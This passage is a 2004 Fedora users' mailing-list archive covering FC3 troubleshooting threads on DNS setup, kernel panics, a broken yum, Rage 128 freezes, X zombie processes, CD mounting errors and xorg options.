(Hub #3) (rev 02) 00:1e.0 PCI bridge: Intel Corp. 82801 PCI Bridge (rev 42) 00:1f.0 ISA bridge: Intel Corp. 82801CA LPC Interface Controller (rev 02) 00:1f.1 IDE interface: Intel Corp. 82801CA Ultra ATA Storage Controller (rev 02) 00:1f.3 SMBus: Intel Corp. 82801CA/CAM SMBus Controller (rev 02) 01:1c.0 PIC: Intel Corp. 82870P2 P64H2 I/OxAPIC (rev 03) 01:1d.0 PCI bridge: Intel Corp. 82870P2 P64H2 Hub PCI Bridge (rev 03) 01:1e.0 PIC: Intel Corp. 82870P2 P64H2 I/OxAPIC (rev 03) 01:1f.0 PCI bridge: Intel Corp. 82870P2 P64H2 Hub PCI Bridge (rev 03) 04:1c.0 PIC: Intel Corp. 82870P2 P64H2 I/OxAPIC (rev 03) 04:1d.0 PCI bridge: Intel Corp. 82870P2 P64H2 Hub PCI Bridge (rev 03) 04:1e.0 PIC: Intel Corp. 82870P2 P64H2 I/OxAPIC (rev 03) 04:1f.0 PCI bridge: Intel Corp. 82870P2 P64H2 Hub PCI Bridge (rev 03) 05:01.0 Multimedia audio controller: Creative Labs SB Live! EMU10k1 (rev 07) 05:01.1 Input device controller: Creative Labs SB Live! MIDI/Game Port (rev 07) 05:02.0 PCI bridge: Hint Corp HB6 Universal PCI-PCI bridge (non-transparent mode) (rev 13) 05:03.0 Ethernet controller: Intel Corp. 82544EI Gigabit Ethernet Controller (Copper) (rev 02) 06:00.0 VGA compatible controller: Matrox Graphics, Inc. MGA G400 AGP (rev 85) 07:01.0 RAID bus controller: Adaptec (formerly DPT) SmartRAID V Controller (rev 01) 08:02.0 Ethernet controller: Intel Corp. 82557/8/9 [Ethernet Pro 100] (rev 0d) 08:03.0 Ethernet controller: Intel Corp. 82557/8/9 [Ethernet Pro 100] (rev 0d) -Eric -- Eric Hoeve fedora at ehoeve dot com From mitch at metauser.net Thu Nov 18 19:14:04 2004 From: mitch at metauser.net (Mitch Anderson) Date: Thu, 18 Nov 2004 12:14:04 -0700 Subject: Setting a DNS without using neat In-Reply-To: <1100804721.7121.60.camel@localhost.localdomain> References: <1100804721.7121.60.camel@localhost.localdomain> Message-ID: <1100805244.15704.4.camel@twoface> On Thu, 2004-11-18 at 19:05 +0000, Paul wrote: > As neat seems to be currently broken due to python being broken, how can > I set a DNS server address? ifcfg eth0 xxx.xxx.xxx.xxx gives me an error > that eth0 cannot be contacted (or something like that) DNS servers are set in the /etc/resolv.conf file. just open it with your favorite editor and add or change the line beginning with "nameserver" ie: nameserver x.x.x.x nameserver x.x.x.x -- Mitch Anderson From Philip.R.Schaffner at nasa.gov Thu Nov 18 19:56:13 2004 From: Philip.R.Schaffner at nasa.gov (Phil Schaffner) Date: Thu, 18 Nov 2004 14:56:13 -0500 Subject: Rage 128 - FC3 Testing Needed In-Reply-To: <419C284B.1080701@redhat.com> References: <419C284B.1080701@redhat.com> Message-ID: <1100807774.5466.224.camel@wx1.larc.nasa.gov> On Wed, 2004-11-17 at 18:42 -1000, Warren Togami wrote: > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138822 > System freezes after logout (Rage 128) unless you disable DRI. If you > are a FC3 user with Rage 128 video, your assistance in testing is > required for this issue. Even if you do not experience this issue on > your Rage 128, your testing would be greatly appreciated in order to > avoid introducing a possible regression. > > http://people.redhat.com/wtogami/temp/xorg/ > i386 packages with a candidate fix for this issue can be downloaded from > here. > > Please answer these questions when you report your findings: > 1) Does your entire FC3 system lockup after logging out from a GNOME > session and X restarts? > 2) Does the above packages solve this problem? > 3) Does the above packages introduce any new problems? Warren, Would help if you did "createrepo" in the directory so updates could be done with yum. Phil From sean.bruno at dsl-only.net Thu Nov 18 19:42:30 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Thu, 18 Nov 2004 11:42:30 -0800 Subject: New FC3 Kernel causes panic In-Reply-To: <1100796232.4341.26.camel@gibraltar.stuttgart.redhat.com> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> <1100722644.3500.1.camel@oscar.metro1.com> <20041117202740.GB12179@redhat.com> <1100725783.3495.7.camel@oscar.metro1.com> <1100726859.3831.19.camel@cei3772.empower.ceimaine.org> <20041117214309.GB20863@redhat.com> <1100728130.9683.12.camel@apple.bananas.hopto.org> <20041117220743.GD20863@redhat.com> <1100729602.3447.3.camel@oscar.metro1.com> <1100796232.4341.26.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1100806951.13643.1.camel@wbar3.sea1-4-5-117-171.sea1.dsl-verizon.net> On Thu, 2004-11-18 at 17:43 +0100, Nils Philippsen wrote: > On Wed, 2004-11-17 at 14:13 -0800, Sean Bruno wrote: > > Could be a red-herring, but I peeked into the 667 and 678(SMP versions). > > > > It looks like the only difference is "dm_mod" > > Do you mean that dm_mod is missing from the initrd or that the dm_mod > module is different in -1.678* or something else? Sorry I wasn't clear. If you examine the initrd files for both kernels, the only difference that I could spot was a file size difference between "dm_mod". From david.r.bentley at btinternet.com Thu Nov 18 20:59:42 2004 From: david.r.bentley at btinternet.com (DAVID BENTLEY) Date: Thu, 18 Nov 2004 20:59:42 +0000 (GMT) Subject: YUM broken ? Message-ID: <20041118205942.97558.qmail@web86507.mail.ukl.yahoo.com> just managed to get a full update done with YUM and up2date is working again. But YUM is now broken see ouput below. [root at xxxxxxx ~]# yum update Traceback (most recent call last): File "/usr/bin/yum", line 8, in ? yummain.main(sys.argv[1:]) File "/usr/share/yum-cli/yummain.py", line 51, in main base.getOptionsConfig(args) File "/usr/share/yum-cli/cli.py", line 133, in getOptionsConfig self.conf = yumconf(configfile = yumconffile, root=root) File "/usr/lib/python2.4/site-packages/yum/config.py", line 227, in __init__ self._doFileRepo(fn) File "/usr/lib/python2.4/site-packages/yum/config.py", line 299, in _doFileRepo doRepoSection(self, repoconf, section) File "/usr/lib/python2.4/site-packages/yum/config.py", line 313, in doRepoSection mirrorurls = getMirrorList(mirrorlist) File "/usr/lib/python2.4/site-packages/yum/config.py", line 390, in getMirrorList fo = urlresolver.urlopen(url) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 427, in urlopen return default_grabber.urlopen(url, **kwargs) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 555, in urlopen return self._retry(opts, retryfunc, url) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 527, in _retry return apply(func, (opts,) + args, {}) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 554, in retryfunc return URLGrabberFileObject(url, filename=None, opts=opts) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 703, in __init__ self._do_open() File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 747, in _do_open fo, hdr = self._make_request(req, opener) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 823, in _make_request fo = opener.open(req) File "/usr/lib/python2.4/urllib2.py", line 364, in open response = meth(req, response) File "/usr/lib/python2.4/urllib2.py", line 468, in http_response code, msg, hdrs = response.code, response.msg, response.info() AttributeError: HTTPResponse instance has no attribute 'code' From mattdm at mattdm.org Thu Nov 18 21:09:06 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Thu, 18 Nov 2004 16:09:06 -0500 Subject: New FC3 Kernel causes panic In-Reply-To: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> Message-ID: <20041118210906.GA6027@jadzia.bu.edu> On Wed, Nov 17, 2004 at 03:02:38PM -0500, Will Backman wrote: > Cannot find logical volumes. > Dell Optiplex GX280 SATA, dual boot with WinXP. > Picking old kernel from Grub boots fine. Just want to check something quick -- is the /boot/initrd[whatever].img file being created correctly? (Should be bigger than 12k....) -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From alexl at stofanet.dk Thu Nov 18 21:31:41 2004 From: alexl at stofanet.dk (Alex Thomsen Leth) Date: Thu, 18 Nov 2004 22:31:41 +0100 Subject: trash panel Message-ID: <1100813501.8066.0.camel@simba.lion> what about putting the trashcan into the panel, like ubuntu did?? From notting at redhat.com Thu Nov 18 21:37:29 2004 From: notting at redhat.com (Bill Nottingham) Date: Thu, 18 Nov 2004 16:37:29 -0500 Subject: New FC3 Kernel causes panic In-Reply-To: <20041118210906.GA6027@jadzia.bu.edu> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041118210906.GA6027@jadzia.bu.edu> Message-ID: <20041118213729.GA31147@nostromo.devel.redhat.com> Matthew Miller (mattdm at mattdm.org) said: > On Wed, Nov 17, 2004 at 03:02:38PM -0500, Will Backman wrote: > > Cannot find logical volumes. > > Dell Optiplex GX280 SATA, dual boot with WinXP. > > Picking old kernel from Grub boots fine. > > Just want to check something quick -- is the /boot/initrd[whatever].img file > being created correctly? (Should be bigger than 12k....) It's a kernel bug, being fixed. Bill From ad+lists at uni-x.org Thu Nov 18 21:39:52 2004 From: ad+lists at uni-x.org (Alexander Dalloz) Date: Thu, 18 Nov 2004 22:39:52 +0100 Subject: YUM broken ? In-Reply-To: <20041118205942.97558.qmail@web86507.mail.ukl.yahoo.com> References: <20041118205942.97558.qmail@web86507.mail.ukl.yahoo.com> Message-ID: <1100813992.8819.265.camel@serendipity.dogma.lan> Am Do, den 18.11.2004 schrieb DAVID BENTLEY um 21:59: > just managed to get a full update done with YUM and > up2date is working again. > > But YUM is now broken see ouput below. > File "/usr/lib/python2.4/urllib2.py", line 468, in > http_response > code, msg, hdrs = response.code, response.msg, > response.info() > AttributeError: HTTPResponse instance has no attribute > 'code' You are running rawhide - you should know what you do then. See the list archive for equal reports. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138535 Alexander -- Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.8-1.521smp Serendipity 22:39:46 up 1 day, 25 users, load average: 1.73, 1.13, 0.79 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From rhally at mindspring.com Thu Nov 18 21:41:20 2004 From: rhally at mindspring.com (Richard Hally) Date: Thu, 18 Nov 2004 16:41:20 -0500 Subject: YUM broken ? In-Reply-To: <20041118205942.97558.qmail@web86507.mail.ukl.yahoo.com> References: <20041118205942.97558.qmail@web86507.mail.ukl.yahoo.com> Message-ID: <419D1700.5050302@mindspring.com> DAVID BENTLEY wrote: >just managed to get a full update done with YUM and >up2date is working again. > >But YUM is now broken see ouput below. > >[root at xxxxxxx ~]# yum update >Traceback (most recent call last): > File "/usr/bin/yum", line 8, in ? > yummain.main(sys.argv[1:]) > File "/usr/share/yum-cli/yummain.py", line 51, in >main > base.getOptionsConfig(args) > File "/usr/share/yum-cli/cli.py", line 133, in >getOptionsConfig > self.conf = yumconf(configfile = yumconffile, >root=root) > File >"/usr/lib/python2.4/site-packages/yum/config.py", line >227, in __init__ > self._doFileRepo(fn) > File >"/usr/lib/python2.4/site-packages/yum/config.py", line >299, in _doFileRepo > doRepoSection(self, repoconf, section) > File >"/usr/lib/python2.4/site-packages/yum/config.py", line >313, in doRepoSection > mirrorurls = getMirrorList(mirrorlist) > File >"/usr/lib/python2.4/site-packages/yum/config.py", line >390, in getMirrorList > fo = urlresolver.urlopen(url) > File >"/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", >line 427, in urlopen > return default_grabber.urlopen(url, **kwargs) > File >"/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", >line 555, in urlopen > return self._retry(opts, retryfunc, url) > File >"/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", >line 527, in _retry > return apply(func, (opts,) + args, {}) > File >"/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", >line 554, in retryfunc > return URLGrabberFileObject(url, filename=None, >opts=opts) > File >"/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", >line 703, in __init__ > self._do_open() > File >"/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", >line 747, in _do_open > fo, hdr = self._make_request(req, opener) > File >"/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", >line 823, in _make_request > fo = opener.open(req) > File "/usr/lib/python2.4/urllib2.py", line 364, in >open > response = meth(req, response) > File "/usr/lib/python2.4/urllib2.py", line 468, in >http_response > code, msg, hdrs = response.code, response.msg, >response.info() >AttributeError: HTTPResponse instance has no attribute >'code' > > > known problem, see https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138535 hth Richard Hally From sean.bruno at dsl-only.net Thu Nov 18 21:21:19 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Thu, 18 Nov 2004 13:21:19 -0800 Subject: New FC3 Kernel causes panic In-Reply-To: <20041118210906.GA6027@jadzia.bu.edu> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041118210906.GA6027@jadzia.bu.edu> Message-ID: <1100812879.13643.3.camel@wbar3.sea1-4-5-117-171.sea1.dsl-verizon.net> > Just want to check something quick -- is the /boot/initrd[whatever].img file > being created correctly? (Should be bigger than 12k....) > Are you asking me to check the size of the initrd's on my machine? If you are, they are definitely bigger that 12k and seem to be fine(I uncompressed and peered into both with cpio). From mattdm at mattdm.org Thu Nov 18 22:22:26 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Thu, 18 Nov 2004 17:22:26 -0500 Subject: New FC3 Kernel causes panic In-Reply-To: <1100812879.13643.3.camel@wbar3.sea1-4-5-117-171.sea1.dsl-verizon.net> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041118210906.GA6027@jadzia.bu.edu> <1100812879.13643.3.camel@wbar3.sea1-4-5-117-171.sea1.dsl-verizon.net> Message-ID: <20041118222226.GA11444@jadzia.bu.edu> On Thu, Nov 18, 2004 at 01:21:19PM -0800, Sean Bruno wrote: > > Just want to check something quick -- is the /boot/initrd[whatever].img file > > being created correctly? (Should be bigger than 12k....) > Are you asking me to check the size of the initrd's on my machine? If > you are, they are definitely bigger that 12k and seem to be fine(I > uncompressed and peered into both with cpio). Yeah, for some reason, with an earlier version of the update kernel, I ended up with an empty (12k, but nothin' in it) initrd image. And it had the same symptom -- kernel panic with a message about not being able to find logical volumes But I couldn't repeat it, which is always frustrating. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From dsavage at peaknet.net Fri Nov 19 02:28:13 2004 From: dsavage at peaknet.net (Robert G. (Doc) Savage) Date: Thu, 18 Nov 2004 20:28:13 -0600 Subject: Rage 128 - FC3 Testing Needed In-Reply-To: <419C284B.1080701@redhat.com> References: <419C284B.1080701@redhat.com> Message-ID: <1100831294.5485.3.camel@lioness.amc.ds.af.mil> On Wed, 2004-11-17 at 18:42 -1000, Warren Togami wrote: > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138822 > System freezes after logout (Rage 128) unless you disable DRI. If you > are a FC3 user with Rage 128 video, your assistance in testing is > required for this issue. Even if you do not experience this issue on > your Rage 128, your testing would be greatly appreciated in order to > avoid introducing a possible regression. > > http://people.redhat.com/wtogami/temp/xorg/ > i386 packages with a candidate fix for this issue can be downloaded from > here. > > Please answer these questions when you report your findings: > 1) Does your entire FC3 system lockup after logging out from a GNOME > session and X restarts? > 2) Does the above packages solve this problem? > 3) Does the above packages introduce any new problems? Warren, Do you have any sense as to whether or not the ATI Rage 128 Mobility chipset used in laptops is affected? I'll download & try your rpms, though I haven't yet experienced any of the problems described in the Bugzilla report. The worst that can happen is that I lose X until I can up2date them again, right? -- Doc Robert G. (Doc) Savage, BSE(EE), CISSP, RHCE | Fairview Heights, IL Fedora Core 3 kernel 2.6.9-1.668_FC3 on a P-III/M IBM Thinkpad A22p "Perfection is the enemy of good enough." -- Admiral of the Fleet Sergei G. Gorshkov From alessandro.torrisi at eurone.it Tue Nov 16 19:21:19 2004 From: alessandro.torrisi at eurone.it (Alessandro Torrisi) Date: Tue, 16 Nov 2004 20:21:19 +0100 Subject: My X Server become ZOMBIE Message-ID: <200411162021.20032.alessandro.torrisi@eurone.it> Well I've got a problem with X, I was setting up my xscreensaver when all the X system locked up ! I connected with my notebook with SSH and there was a X process with a 90% cpu and 0% memory .consumption. The process was Zombie. I had to reboot my server. Do you know why ?? What is happening ? I had this problem also with FC2 ! Bye, Alex From alessandro.torrisi at eurone.it Tue Nov 16 11:01:57 2004 From: alessandro.torrisi at eurone.it (Alessandro Torrisi) Date: Tue, 16 Nov 2004 12:01:57 +0100 Subject: CANNOT KILL X: X become Zombie and REBOOT must be done !!! In-Reply-To: <20041115170015.7238D73B9C@hormel.redhat.com> References: <20041115170015.7238D73B9C@hormel.redhat.com> Message-ID: <200411161201.57791.alessandro.torrisi@eurone.it> Please help me ! I have this problem from FC2 and now with FC3 the same thing !!! I was setting up the screensaver and tested it twice when mouse started to become slow very slow ! KDE was not under my control, so I connected with a notebook to SSH. I saw the process X in a ZOMBIE status with a CPU usage of 90% !!! Why ? Why cannot kill zombie processes ? What I have to do ? Alex. From perbj at stanford.edu Fri Nov 19 06:43:09 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Thu, 18 Nov 2004 22:43:09 -0800 Subject: more information on my trouble reading CDROM's with hdc=ide-cd. Anybody else? In-Reply-To: <419BE977.3040001@ku.edu> References: <419BCCD6.40305@ku.edu> <20041117223619.GB4119@devserv.devel.redhat.com> <419BE977.3040001@ku.edu> Message-ID: <1100846589.3351.24.camel@localhost.localdomain> On Wed, 2004-11-17 at 18:14 -0600, Paul Johnson wrote: > mount -t iso9660 /dev/cdrom /mnt/cdrom > > That worked with a CDR I wrote. > > I was suspicious that this reallly fixed it, then unmounted and tried > > mount /dev/cdrom /mnt/cdrom > > And those irq timeout errors happened again. Hmm. I just discovered something kind of similar, but with CDs that have both music and data tracks ("CD Extra"). I can play (and even rip it seems) them fine, but when I try to mount the data track (automatically or using the mount command without specifying the file system type) hdc: command error: status=0x51 { DriveReady SeekComplete Error } hdc: command error: error=0x51 ide: failed opcode was 100 end_request: I/O error, dev hdc, sector 0 Buffer I/O error on device hdc, logical block 0 (this is repeated to every "logical block" on the disk as far as I can tell). I found an earlier bug report about this, https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138964 where I attached my dmesg spew (although it really isn't a whole lot more interesting than what I just included above). Does this sound like it could be the same problem, or does it seem unrelated? This is on a Fujitsu S2020 notebook with a DVD/CDRW identified in the dmesg output as hdc: TOSHIBA DVD-ROM SD-R2412, ATAPI CD/DVD-ROM drive ide1 at 0x170-0x177,0x376 on irq 15 It seems that letting hald set filesystem types to only UDF and iso9660 might at least work around this problem too, even though it might not be the correct fix. By the way, after this happened X seemed to randomly not listen to input; I could temporarily restore functionality by switching back and forth to VT1 (luckily that worked) but it only worked for a little while. I couldn't find any log errors that seemed related unfortunately. Cheers, Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From skvidal at phy.duke.edu Fri Nov 19 07:28:59 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Fri, 19 Nov 2004 02:28:59 -0500 Subject: yum upgrade? In-Reply-To: References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> Message-ID: <1100849339.5163.2.camel@cutter> > I've done this in my home computer, just to test it and repeat it in a > remote computer later, and everythingg updated ok, but I have a very > serious problem: the rpm database is empty. Only the newly installed rpms > appear. > > I've tried rpm --rebuilddb and rpm --initdb to no luck. > I've just tried to make a CD update and, obviously, as there are no rpms, > it does nothing. > > Any hint to recover this rpm database? Something didn't finish completely, then. Did you run out of disk space, perchance? I don't know of a way to recover your rpmdb, no. -sv From nphilipp at redhat.com Fri Nov 19 10:58:13 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Fri, 19 Nov 2004 11:58:13 +0100 Subject: "neat" problem In-Reply-To: <1100804236.7121.57.camel@localhost.localdomain> References: <1100804236.7121.57.camel@localhost.localdomain> Message-ID: <1100861893.4290.10.camel@gibraltar.stuttgart.redhat.com> On Thu, 2004-11-18 at 18:57 +0000, Paul wrote: > Hi, > > Is this a problem with the current version of python? When I try to run > neat, all I get is a traceback that import module gtk can't be found. With python tracebacks it's always helpful if you post them as well ;-). > There is something definitely odd here. I've been running the laptop > happily with the network settings set to pick up the DNS from the server > directly. I'm working on the inside of a router, so the laptop IP is > 192.168.2.100. Then it looses the ability to resolve domain names. This > is really strange and I can't account for it as none of the other > machines lose their DNS resolving ability. Two dhclients battling for the same device? Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From jerryw4386 at msn.com Fri Nov 19 10:48:52 2004 From: jerryw4386 at msn.com (JERRY WHITMIRE) Date: Fri, 19 Nov 2004 02:48:52 -0800 Subject: up2date ? Message-ID: Am trying to update Fedora and it keeps asking for 1 {libdb_cxx4.2.so} witch it needs to update openoffice.org-libs-1.1.2.-11.7 2 {php=4.3.9.2} witch it needs to update php-domxml-4.3.9-2 I have looked for several day for these files and can not find them. any ideas would be very helpful Thanks Jerry W. Whitmire jerryw4386 at msn.com _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today - it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/ From alan at redhat.com Fri Nov 19 12:14:59 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 19 Nov 2004 07:14:59 -0500 Subject: CANNOT KILL X: X become Zombie and REBOOT must be done !!! In-Reply-To: <200411161201.57791.alessandro.torrisi@eurone.it> References: <20041115170015.7238D73B9C@hormel.redhat.com> <200411161201.57791.alessandro.torrisi@eurone.it> Message-ID: <20041119121459.GA31197@devserv.devel.redhat.com> On Tue, Nov 16, 2004 at 12:01:57PM +0100, Alessandro Torrisi wrote: > Please help me ! I have this problem from FC2 and now with FC3 the same > thing !!! I was setting up the screensaver and tested it twice when mouse > started to become slow very slow ! KDE was not under my control, so I > connected with a notebook to SSH. > > I saw the process X in a ZOMBIE status with a CPU usage of 90% !!! > Why ? Why cannot kill zombie processes ? What I have to do ? What video card are you using ? From jerryw4386 at msn.com Fri Nov 19 12:01:10 2004 From: jerryw4386 at msn.com (JERRY WHITMIRE) Date: Fri, 19 Nov 2004 04:01:10 -0800 Subject: Lost hard drives Message-ID: Hi Jerry here again I guess i needed to explain where i lost the hard drives it is not in the boot up they were on Kde. and Gnome desktop. my Fedora 3 test 3 boots fine. these drives are in the boot up grub config.file. I can boot to them from there. Have did a fresh install and have mounted the drives and am trying to get it updated again. That is the hard part. Thanks to all of the people that help so for it is very helpful. Is there away to get the lost hard drivers back to Kde. and Gnome desktop after an upgrade of Fedora core 3 test 3 lost the drives again after update ? Or can someone tell me where i can get the info to get them back on my desktops Hard drive b has Windows Xp. on it and Hard drive c is used for extra space where i store all of my downloads for Fedora and Windows. these drives can be mounted from the Kde desktop and on the Gnome desktop. They are both fat 32 so it will see them. And to the last person that replayed to my email how can Fedora core 3 test 3 be obsolete when Fedora is a test to start with? We upgrade it and test it to find the bugs and work through them and send them in right? I still say YEA to the Fedora project. THANKS AGAIN. Jerry W. Whitmire jerryw4386 at msn.com _________________________________________________________________ Check out Election 2004 for up-to-date election news, plus voter tools and more! http://special.msn.com/msn/election2004.armx From shrek-m at gmx.de Fri Nov 19 12:56:17 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Fri, 19 Nov 2004 13:56:17 +0100 Subject: Lost hard drives In-Reply-To: References: Message-ID: <419DED71.2090402@gmx.de> JERRY WHITMIRE wrote: > And to the last person that replayed to my email how can Fedora core > 3 test 3 be obsolete when Fedora is a test to start with? We upgrade > it and test it to find the bugs and work through them and send them in > right? I still say YEA to the Fedora project. http://fedora.redhat.com/participate/schedule/ RHL 1.0 -> ... ... ... ... ----> RHL9 ----> fc1-beta1 -> fc1-test2 -> fc1-tes3 ----> FC1 ----> fc2-test1 -> fc2-test2 -> fc2test3 ----> FC2 ----> fc3-test1 -> fc3-test2 -> fc3-test3 ----> FC3 ! ----> fc4-test1 will coming soon, ~ 2004 -- shrek-m From paul at all-the-johnsons.co.uk Fri Nov 19 13:48:13 2004 From: paul at all-the-johnsons.co.uk (Paul Johnson) Date: Fri, 19 Nov 2004 13:48:13 +0000 Subject: USb problem Message-ID: <1100872093.9292.10.camel@localhost.localdomain> Hi, I have the DCU cable running from my laptop (running rawhide) to my Sony Ericcson T610. I'm trying to connect to it using leif, but I don't know which device to say to use. According to /sbin/lsusb Bus 002 Device 002: ID 10ab:10c5 USB Co., Ltd In /dev (and /udev), there is nothing there for connecting to the USB (such as /dev/ttyUSB0 etc). I have ohci, ehci and uhci_usb loaded (though ohci was loaded a few minutes back). What do I need to say for the connection device? TTFN Paul -- "I'm gonna hit the highway like a battering ram with a Cilla Black fan on the bike" - Meatloaf From terraformers at gmx.net Fri Nov 19 14:35:51 2004 From: terraformers at gmx.net (Lars) Date: Fri, 19 Nov 2004 15:35:51 +0100 Subject: xorg-x11 - setting options question Message-ID: hi testing the composite extension with xorg-x11 i have the question if there is any way to change x11 config options on the commandline ? say, in xorg.conf i have Section "Extensions" Option "Composite" "Enable" EndSection now i want to disable this option without re-editing this config file and restarting x. is this somehow possible? thanks! lars -- No Software Patents! http://nosoftwarepatents.com Datenschutz - Ihr gutes Recht! http://datenschutz.de Get Firefox! http://spreadfirefox.com From Philip.R.Schaffner at nasa.gov Fri Nov 19 15:22:45 2004 From: Philip.R.Schaffner at nasa.gov (Phil Schaffner) Date: Fri, 19 Nov 2004 10:22:45 -0500 Subject: up2date ? In-Reply-To: References: Message-ID: <1100877766.20220.52.camel@wx1.larc.nasa.gov> On Fri, 2004-11-19 at 02:48 -0800, JERRY WHITMIRE wrote: > Am trying to update Fedora and it keeps asking for > 1 {libdb_cxx4.2.so} witch it needs to update openoffice.org-libs-1.1.2.-11.7 > 2 {php=4.3.9.2} witch it needs to update php-domxml-4.3.9-2 > I have looked for several day for these files and can not find them. > any ideas would be very helpful Breakage is to be expected when running rawhide/development. If you want [better] stability, install FC3 final and use the FC3 update repos. Phil From Philip.R.Schaffner at nasa.gov Fri Nov 19 15:32:39 2004 From: Philip.R.Schaffner at nasa.gov (Phil Schaffner) Date: Fri, 19 Nov 2004 10:32:39 -0500 Subject: Lost hard drives In-Reply-To: <419DED71.2090402@gmx.de> References: <419DED71.2090402@gmx.de> Message-ID: <1100878359.20220.62.camel@wx1.larc.nasa.gov> On Fri, 2004-11-19 at 13:56 +0100, shrek-m at gmx.de wrote: > JERRY WHITMIRE wrote: > > > And to the last person that replayed to my email how can Fedora core > > 3 test 3 be obsolete when Fedora is a test to start with? That would be me. shrek-m explained below. > > We upgrade > > it and test it to find the bugs and work through them and send them in > > right? At this stage the most helpful testing (from a novice tester) is probably to do updates-testing for a fresh install of a stable release - such as FC3 final. > >I still say YEA to the Fedora project. Me too. > http://fedora.redhat.com/participate/schedule/ > > RHL 1.0 -> ... ... ... ... ----> RHL9 > ----> fc1-beta1 -> fc1-test2 -> fc1-tes3 ----> FC1 > ----> fc2-test1 -> fc2-test2 -> fc2test3 ----> FC2 > ----> fc3-test1 -> fc3-test2 -> fc3-test3 ----> FC3 ! > ----> fc4-test1 will coming soon, ~ 2004 Phil From Robert.Chiodini-1 at ksc.nasa.gov Fri Nov 19 16:32:25 2004 From: Robert.Chiodini-1 at ksc.nasa.gov (Chiodini, Robert) Date: Fri, 19 Nov 2004 11:32:25 -0500 Subject: xorg-x11 - setting options question Message-ID: <1100881945.7139.67.camel@tweedy.ksc.nasa.gov> On Fri, 2004-11-19 at 09:35, Lars wrote: > hi > > testing the composite extension with xorg-x11 i have the question > if there is any way to change x11 config options on the commandline ? > say, in xorg.conf i have > > Section "Extensions" > Option "Composite" "Enable" > EndSection > > now i want to disable this option without re-editing this config file and > restarting x. is this somehow possible? > > > thanks! > lars Lars, You could create two config files and specify which one to use on the command line (-config), one for Option "Composite" "Enable" and one for not. man Xorg. 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Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From terraformers at gmx.net Fri Nov 19 17:32:26 2004 From: terraformers at gmx.net (Lars) Date: Fri, 19 Nov 2004 18:32:26 +0100 Subject: xorg-x11 - setting options question References: <1100881945.7139.67.camel@tweedy.ksc.nasa.gov> Message-ID: Chiodini, Robert wrote: > On Fri, 2004-11-19 at 09:35, Lars wrote: >> hi >> >> testing the composite extension with xorg-x11 i have the question >> if there is any way to change x11 config options on the commandline ? >> say, in xorg.conf i have >> >> Section "Extensions" >> Option "Composite" "Enable" >> EndSection >> >> now i want to disable this option without re-editing this config file and >> restarting x. is this somehow possible? >> >> >> thanks! >> lars > > Lars, > > You could create two config files and specify which one to use on the > command line (-config), one for Option "Composite" "Enable" and one for > not. man Xorg. > > Bob... good idea, thanks! guess i have to restart x anyway. best lars -- No Software Patents! http://nosoftwarepatents.com Datenschutz - Ihr gutes Recht! http://datenschutz.de Get Firefox! http://spreadfirefox.com From mpleite at ppl-ti.com Fri Nov 19 17:34:04 2004 From: mpleite at ppl-ti.com (Miguel Pereira Leite) Date: Fri, 19 Nov 2004 17:34:04 +0000 Subject: Strange Evolution/Xorg Combination In-Reply-To: <1100720456.3577.74.camel@cassandra.boston.redhat.com> References: <1100625553.3490.41.camel@douro.ppl-ti.com> <1100720456.3577.74.camel@cassandra.boston.redhat.com> Message-ID: <1100885644.12019.7.camel@douro.ppl-ti.com> Bugzilla: 